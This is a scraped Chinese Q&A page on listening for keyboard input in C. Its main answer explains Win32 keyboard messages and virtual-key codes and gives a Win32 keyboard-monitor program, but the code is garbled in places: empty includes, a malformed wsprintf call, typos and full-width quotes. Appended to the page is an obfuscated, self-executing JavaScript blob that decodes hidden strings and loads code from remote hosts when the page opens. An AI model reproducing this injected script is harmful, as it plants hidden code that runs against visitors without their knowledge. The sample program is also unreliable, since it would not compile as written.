c语言怎么监听键盘按键

2025-03-10 15:43:16
推荐回答(4个)
回答1:

  1. 在Microsoft Windows 中,键盘和鼠标是两个标准的用户输入源,在一些交叠的操作中通常相互补充使用。当然,鼠标在今天的应用程序中比10年前使用得更为广泛。甚至在一些应用程序中,我们更习惯于使用鼠标,例如在游戏、画图程序、音乐程序,以及Web创览器等程序中就是这样。然而,我们可以不使用鼠标,但绝对不能从一般的PC中拆掉键盘。
      Windows程序获得键盘输入的方式:键盘输入以消息的形式传递给程序的窗口过程。实际上,第一次学习消息时,键盘就是一个明显的例子:消息应该传递给应用程序的信息类型。
      Windows用8种不同的消息来传递不同的键盘事件。这好像太多了,但是(就像我们所看到的一样)程序可以忽略其中至少一半的消息而不会有任何问题。并且,在大多数情况下,这些消息中包含的键盘信息会多于程序所需要的。处理键盘的部分工作就是识别出哪些消息是重要的,哪些是不重要的。
    键盘基础知识
      虽然应用程序在很多情况下可以通过鼠标实现信息的输入,但到现在为止键盘仍然是PC机中不可替代的重要输入设备。
      用键盘当作输入设备,每当用户按下或释放某一个键时,会产生一个中断,该中断激活键盘驱动程序KEYBOARD.DRV来对键盘中断进行处理。 KEYBOARD.DRV程序会根据用户的不同操作进行编码,然后调用Windows用户模块USER.EXE生成键盘消息,并将该消息发送到消息队列中等候处理。
    1.扫描码和虚拟码
      扫描码对应着键盘上的不同键,每一个键被按下或释放时,都会产生一个唯一的扫描码作为本身的标识。扫描码依赖于具体的硬件设备,即当相同的键被按下或释放时,在不同的机器上可能产生不同的扫描码。在程序中通常使用由Windows系统定义的与具体设备无关的虚拟码。在击键产生扫描码的同时,键盘驱动程序KEYBOARD.DRV截取键的扫描码,然后将其翻译成对应的虚拟码,再将扫描码和虚拟码一齐编码形成键盘消息。所以,最后发送到消息队列的键盘消息中,既包含了扫描码又包含了虚拟码。
      经常使用的虚拟码在WINDOWS.H文件中定义,常用虚拟码的数值、常量符号和含义如表所示。

    取值(16进制) 常量符号 含义
    01 VK_LBUTTON 鼠标左键
    02 VK_RBUTTON 鼠标右键
    03 VK_CANCEL Break中断键
    04 VK_MBUTTON 鼠标中键
    05-07 -- 未定义
    08 VK_BACK (BackSpace)键
    09 VK_TAB Tab键
    0A-0B -- 未定义
    0C VK_CLEAR Clear键
    0D VK_RETURN Enter键
    0E-0F -- 未定义
    10 VK_SHIFT Shift键
    11 VK_CONTROL Ctrl键
    12 VK_MENU Alt键
    13 VK_PAUSE Pause键
    14 VK_CAPTIAL CapsLock键
    15-19 -- 汉字系统保留
    1A -- 未定义
    1B VK_ESCAPE Esc键
    1C-1F -- 汉字系统保留
    20 VK_SPACE 空格键
    21 VK_PRIOR PageUp键
    22 VK_NEXT PageDown键
    23 VK_END End键
    24 VK_HOME Home键
    25 VK_LEFT ←(Left Arrow)键
    26 VK_UP ↑(Up Arrow)键
    27 VK_RIGHT →(Right Arrow)键
    28 VK_DOWN ↓(Down Arrow)键
    29 VK_SELECT Select键
    2A -- OEM保留
    2B VK_EXECUTE Execute键
    2C VK_SNAPSHOT Print Screen键
    2D VK_INSERT Insert键
    2E VK_DELETE Delete键
    2F VK_HELP Help键
    30-39 VK_0-VK_9 数字键0-9
    3A-40 -- 未定义
    41-5A VK_A-VK_Z 字母键A-Z
    5B-5F -- 未定义
    60-69 VK_NUMPAD0-VK_NUMPAD9 小键盘数字键0-9
    6A VK_MULTIPLY *(乘号)键
    6B VK_ADD +(加号)键
    6C VK_SEPAPATOR 分隔符键
    6E VK_SUBTRACT -(减号)键
    6F VK_DECIMAL .(小数点)键
    70-87 VK_DIVIDE /(除号)键
    88-8F VK_F1-VK_F24 F1-F24功能键
    90 VK_NUMBERLOCK Number lock键
    91 VK_SCROLL Scroll lock键
    92-B9 -- 未定义
    BA-C0 -- OEM保留
    C1-DA -- 未定义
    DB_E4 -- OEM保留
    E5 -- 未定义
    E6 -- OEM保留
    E7-E8 -- 未定义
    E9-F5 -- OEM保留
    F6-FE -- 未定义


    2.输入焦点
      同一时刻,Windows中可能有多个不同的程序在运行,也就是说有多个窗口同时存在。这时,键盘由多个窗口共享,但只有一个窗口能够接收到键盘消息,这个能够接收键盘消息的窗口被称为拥有输入焦点的窗口。
      拥有输入焦点的窗口应该是当前的活动窗口,或者是活动窗口的子窗口,其标题和边框会以高亮度显示,以区别于其他窗口。拥有输入焦点的也可以是图标而不是窗口,此时,Windows也将消息发送给图标,只是消息的格式略有不同。
      窗口过程可以通过发送WM_SETFOCUS和 WM_KILLFOCUS消息使窗体获得或失去输入焦点。程序也可以通过捕获WM_SETFOCUS和WM_KILLFOCUS消息来判断窗体何时获得或失去输入焦点。其中WM_SETFOCUS消息表示窗口正获得输入焦点,WM_ KILLFOCUS消息表示窗口正失去输入焦点。
    3.键盘消息
      键盘消息分为系统键消息和非系统键消息。系统键消息是指由Aft键和其他键组合而产生的按键消息。当系统键被按下时产生WM_ SYSKEYDOWN消息,当系统键被释放时产生WM_SYSKEYUP消息。 Aft键与其他键形成的组合键通常用于对程序菜单和系统菜单进行选择,或用于在不同的程序之间进行切换。因此,系统键消息应该交由Windows进行处理,用户所编制的程序一般不处理系统键消息,而是将这些消息交由DefWindowProc函数进行处理。如果用户想对系统键消息进行处理,应该在处理完这些消息后,再将其发送给DefWindowProc函数,使得Windows系统能够正常工作。
      某些击键消息可以被转换成字符消息,例如字母键、数字键等。而有些键只能产生按键消息而没有字符消息,例如 Shift键、Insert键等。消息循环中的 TranslateMessage函数可以实现从击键消息向字符消息的转化。当GetMessage函数捕获一个WM_SYSKEYDOWN消息或 WM_KEYDOWN消息后,TranslateMessage函数判断产生该消息的键是否能够被转换成字符消息,如果能,就将该消息转换成字符消息,再通过DispatchMessape函数将转换后的字符消息发送到消息队列中去。字符消息共有以下四种,如表所示。

    字符 系统字符 非系统字符
    普通字符 WM_SYSCHAR WM_CHAR
    死字符 WM_SYSDEADCHAR WM_DEADCHAR

      其中死字符是由某些特殊键盘上的按键所造成的,Windows一般忽略死字符所产生的消息。
      Windows的消息一般是通过一个MSG结构体变量传送给消息处理函数的。对于键盘消息, MSG结构体变量的各个域中较重要的是lParam域和 wParam域。wParam域用于保存按键的虚拟键代码或字符的ASCII码。对于非字符消息,wParam域保存按键的虚拟健代码;对于字符消息, wParam域不保存字符的ASCII码。lParam域则用于保存击键时产生的附加信息,实际上一个32位的lParam变量被分为六部分,记录了以下相关信息:重复次数、OEM扫描码、扩展键标志、关联键标志、前一击键状态和转换状态。lParam域各位的含义如表所示。

    位数 含义
    0-15 击键重复次数累加
    16-23 OEM扫描码
    24 是否为扩展键
    25-28 未定义
    29 是否便用关联键,及Alt键是否同时按下。
    30 前一次击键状态,0表示该键前一次状态为抬起,1表示前一次状态为按下
    31 转换状态

      按键的次序不同,产生的消息也不相同。例如,按下并释放1键,读过程依次产生如表所示三条消息。按下1键所产生的消息和wParam的取值

    消息 wParam变量取值
    WM_KEYDOWN 虚拟码1
    WM_CHAR ASCII码“1”
    WM_KEYUP 虚拟码1

      如果按下Shift键后再按下1键并释放,则依次产生如表所示的消息。按下 Shift键后按 1健所产生的消息和 wParam的取值

    消息 wParam变量取值
    WM_KEYDOWN 虚拟码 VK_SHIFT
    WM_KEYDOWN 虚拟码 VK_1
    WM_CHAR ASCII码 “1”
    WM_KEYUP 虚拟码 VK_1
    WM_KEYUP 虚拟码 VK_SHIF


  2. 键盘应用实例
      下面通过一个应用程序实例来说明在实际编程中如何处理键盘消息。

    #include 
    #include 
    // 全局变量
    RECT rc; //记录滚屏的矩形区域
    ?
    int xChar, yChar; //文本输入点坐标
    WNDCLASSEX wnd; //窗口类结构变量
    char szAppName[] = "键盘消息监视程序"; //窗口类名
    //函数声明
    LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
    BOOL MyRegisterClass(HINSTANCE hInstance);
    BOOL InitInstance(HINSTANCE hInstance,int iCmdShow);
    //函数:WinMain
    //作用:入口函数
    int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow)
    {
      MSG msg;
      if(!MyRegisterClass(hInstance))
      {
        return FALSE;
      }
      
       if(!InitInstance(hInstance,iCmdShow))
      {
        return FALSE;
      }
      
      while (GetMessage (&msg, NULL, 0, 0))
      {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
      }
      return msg.wParam;
    }
    //函数:ShowKey
    //作用:实现在窗口中显示按键信息
    void ShowKey (HWND hwnd, int iType,char *szMessage,WPARAM wParam,LPARAM lParam)
    {
      static char *szFormat[2] ={"%-14s %3d %c %6u %4d %5s %5s %6s %6s",
                    "%-14s %3d %c %6u %4d %5s %5s %6s %6s" };
      char szBuffer[80];
      HDC hdc;
      ScrollWindowEx(hwnd, 0, -yChar, &rc,&rc,NULL,NULL,SW_INVALIDATE);
      hdc = GetDC (hwnd);
      SelectObject (hdc, GetStockObject (SYSTEM_FIXED_FONT));
      TextOut (hdc,
           xChar,
           rc.bottom - yChar,
           szBuffer,
           wsprintf szBuffer,
           szFormat[iType],
           szMessage, //消息
           wParam, //虚拟键代码
           (BYTE) (iType ? wParam :‘ ’),//显示字符值
           LOWORD (lParam), // 重复次数
           HIWORD (lParam) & 0xFF, // OEM键盘扫描码
           //判断是否为增强键盘的扩展键
           (PSTR) (0x01000000 & lParam ? “是” : “否”),
           //判断是否同时使用了ALT键
           (PSTR) (0x20000000 & lParam ? “是” : “否”),
           (PSTR) (0x40000000 & lParam ? “按下” : “抬”),
           //判断前一次击键状
           (PSTR)(0x80000000 & lParam ? “按下” : “抬起”))
           //判断转换状态?
           );
      ReleaseDC (hwnd, hdc); ?
      ValidateRect (hwnd, NULL); ?
    }
    //函数:WndProc
    //作用:处理主窗口的消息
    LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
    {
      static char szTop[] ="消息键 字符 重复数 扫描码 扩展码 ALT 前一状态 转换状态";
      static char szUnd[] ="_______ __ ____ _____ ______ ______ ___ _______ ______";
      //在窗口中输出文字作为信息标题
      HDC hdc;
      PAINTSTRUCT ps;
      TEXTMETRIC tm;
      switch (iMsg)
      {
        case WM_CREATE://处理窗口创建的消息
        hdc = GetDC (hwnd); //设定字体
        SelectObject (hdc, GetStockObject (SYSTEM_FIXED_FONT)); //检取当前字体的度量数据
        GetTextMetrics (hdc, &tm);
        xChar = tm.tmAveCharWidth;//保存字体平均宽度
        yChar = tm.tmHeight; //保存字体高度
        ReleaseDC (hwnd, hdc);
        rc.top = 3 * yChar / 2;
        return 0;
        case WM_SIZE://处理窗口大小改变的消息
        //窗体改变后保存新的滚屏区域右下角坐标
        rc.right = LOWORD (lParam);
        rc.bottom = HIWORD (lParam);
        UpdateWindow (hwnd);
        return 0;
        case WM_PAINT: //处理窗口重绘消息
        InvalidateRect (hwnd, NULL, TRUE);
        hdc = BeginPaint (hwnd, &ps);
        SelectObject (hdc, GetStockObject (SYSTEM_FIXED_FONT)) ;
        SetBkMode (hdc, TRANSPARENT) ;
        TextOut (hdc, xChar, yChar / 2, szTop, (sizeof szTop) - 1) ;
        TextOut (hdc, xChar, yChar / 2, szUnd, (sizeof szUnd) - 1) ;
        EndPaint (hwnd, &ps);
        return 0;
        case WM_KEYDOWN:
        //处理键盘上某一键按下的消息
        ShowKey (hwnd, 0, "WM_KEYDOWN",wParam, lParam);
        return 0;
        case WM_KEYUP:
        //处理键盘上某一按下键被释放的消息
        ShowKey (hwnd, 0, "WM_KEYUP", wParam, lParam);
        return 0;
        case WM_CHAR:
        //处理击键过程中产生的非系统键的可见字符消息
        howKey (hwnd, 1, "WM_CHAR", wParam, lParam);
        return 0;
        case WM_DEADCHAR:
        //处理击键过程中产生的非系统键"死字符"消息
        ShowKey (hwnd, 1, "WM_DEADCHAR", wParam, lParam);
        return 0;
        case WM_SYSKEYDOWN:
        //处理系统键按下的消息
        ShowKey (hwnd, 0, "WM_SYSKEYDOWN",wParam, lParam);
        break;
        case WM_SYSKEYUP:
        //处理系统键抬起的消息
        ShowKey (hwnd, 0, "WM_SYSKEYUP", wParam, lParam);
        break;
        case WM_SYSCHAR://处理系统键可见字符消息
        ShowKey (hwnd, 1, "WM_SYSCHAR", wParam, lParam);
        break;
        case WM_SYSDEADCHAR://处理系统键"死字符"消息
        ShowKey (hwnd, 1, "WM_SYSDEADCHAR", wParam, lParam);
        break;
        case WM_DESTROY:
        //处理结束应用程序的消息
        PostQuitMessage (0);
        return 0;
      }
      return DefWindowProc (hwnd, iMsg, wParam, lParam);
    }
    //函数:MyRegisterClass
    //作用:注册窗口类
    BOOL MyRegisterClass(HINSTANCE hInstance)
    {
      wnd.cbSize= sizeof (wnd);
      wnd.style = CS_HREDRAW | CS_VREDRAW;
      wnd.lpfnWndProc = WndProc;
      wnd.cbClsExtra = 0;
      wnd.cbWndExtra = 0;
      wnd.hInstance = hInstance;
      wnd.hIcon = LoadIcon (NULL, IDI_APPLICATION);?
      wnd.hCursor = LoadCursor (NULL, IDC_ARROW);
      wnd.hbrBackground = (HBRUSH)
      GetStockObject (WHITE_BRUSH);
      wnd.lpszMenuName = NULL;
      wnd.lpszClassName = szAppName;
      wnd.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
      return RegisterClassEx (&wnd);
    }
    //函数:InitInstance
    //作用:创建主窗口
    BOOL InitInstance(HINSTANCE hInstance,int iCmdShow)
    {
      HWND hwnd;
      hwnd = CreateWindow (szAppName,
                 "键盘消息监视程序",
                 WS_OVERLAPPEDWINDOW,
                 CW_USEDEFAULT,CW_USEDEFAULT,
                 CW_USEDEFAULT,CW_USEDEFAULT,
                 NULL,NULL,hInstance,NULL
                 );
      if(!hwnd)
      {
        return FALSE;
      }
      ShowWindow (hwnd, iCmdShow);
      UpdateWindow (hwnd);
      return TRUE;
    }

回答2:

C语言可以监听的,不过需要你自己编写中断服务程序,写一个键盘的中断服务程序,当有键盘相应的时候,用你自己的程序去处理就好了!

回答3:

C语言里面没有自带的这个函数,只有阻塞等待的getc等等,只能自己去实现了,不用底层提供函数的话,你自己用线程编写个,主线程查询stdin缓存里面有没有数据进来,子进程阻塞等待输入数据,这样也可以实现应该,我没有亲自去做,不过除了底层提供给你接口,用现成的好像只能这样了。

回答4:

这个是通过管道收发数据实现硬件软件借口的是panel层做的事

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();